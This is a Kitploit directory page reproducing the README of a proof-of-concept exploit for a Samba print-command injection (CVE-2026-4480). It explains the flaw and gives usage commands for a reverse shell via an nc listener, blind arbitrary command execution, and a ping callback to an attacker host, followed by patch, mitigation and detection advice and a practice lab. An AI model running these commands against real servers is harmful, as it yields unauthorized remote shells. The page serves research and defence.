Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4480-PoC — Proof-of-concept exploit for CVE-2026-4480, an unauthenticated remote command execution in Samba's print subsystem via %J injection. Includes reverse shell and blind command execution modes, with detection and mitigation guidance. | Kitploit
Tools/GitHubGitHub/thecybergeek/cve-2026-4480-poc
ExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubthecybergeek/cve-2026-4480-poc

CVE-2026-4480-PoC

Proof-of-concept exploit for CVE-2026-4480, an unauthenticated remote command execution in Samba's print subsystem via %J injection. Includes reverse shell and blind command execution modes, with detection and mitigation guidance.

View Repository
215435 months agoReviewed by Kitploit
Share

CVE-2026-4480: Samba print-command (%J) injection PoC

Important — Read this first:
This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization. Unauthorized access to computer systems is illegal and unethical. By using this code you agree to follow applicable laws and institutional policies.

Unauthenticated remote command execution in Samba's print subsystem. When a print job finishes spooling, Samba runs the configured print command through system(), substituting %s (spool file path) and %J (client-supplied job name) into the string. Before the fix the job name was passed in with the single transformation ' → _ and nothing else, so |, ;, &, spaces, <, > and backticks all reach the shell. A print command that references %J is therefore a shell-injection sink, and since guests may submit print jobs, the issue is pre-auth.

  • CVE: CVE-2026-4480
  • CVSS: 10.0
  • Fixed in: Samba 4.22.10, 4.23.8, 4.24.3
  • Affected: print backends running an external print command that references %J (printing = sysv-style). printing = cups / iprint go through the CUPS API and are not affected.

Requirements

  • Linux with the Samba Python bindings:
    sudo apt install python3-samba
    
  • Network access to the target's SMB port (445/139).
  • A guest-accessible printer share on the target whose print command references %J.

Usage

python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
Arg / optionMeaning
rhostTarget Samba host / IP
lhostYour listener IP
lportYour listener port
-P, --printerGuest printer share name (default: HP-Reception)
-c, --cmdRun an arbitrary command instead of a reverse shell

Reverse shell

# terminal 1: listener
nc -lvnp 4444

# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444

You should catch a shell as the print service account (e.g. nobody).

Run a single command (blind)

python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'

Because execution is blind (the command runs server-side and returns nothing on the RPC channel), confirm it out of band first, e.g. an ICMP callback you watch with tcpdump -ni tun0 icmp:

python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'

Detection / mitigation

  • Patch to 4.22.10 / 4.23.8 / 4.24.3 (or later).
  • If you cannot patch, quote the macro: print command = /usr/local/bin/print-helper %s '%J', drop %J, or move to printing = cups.
  • Hunt for smbd spawning shells (sh/bash/nc/python/curl) and document names containing shell metacharacters.

Practice on HackTheBox

I have created a box on HackTheBox called Abducted to showcase the vulnerability and give you a hands on example of how attackers could leverage this in a misconfigured environment.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →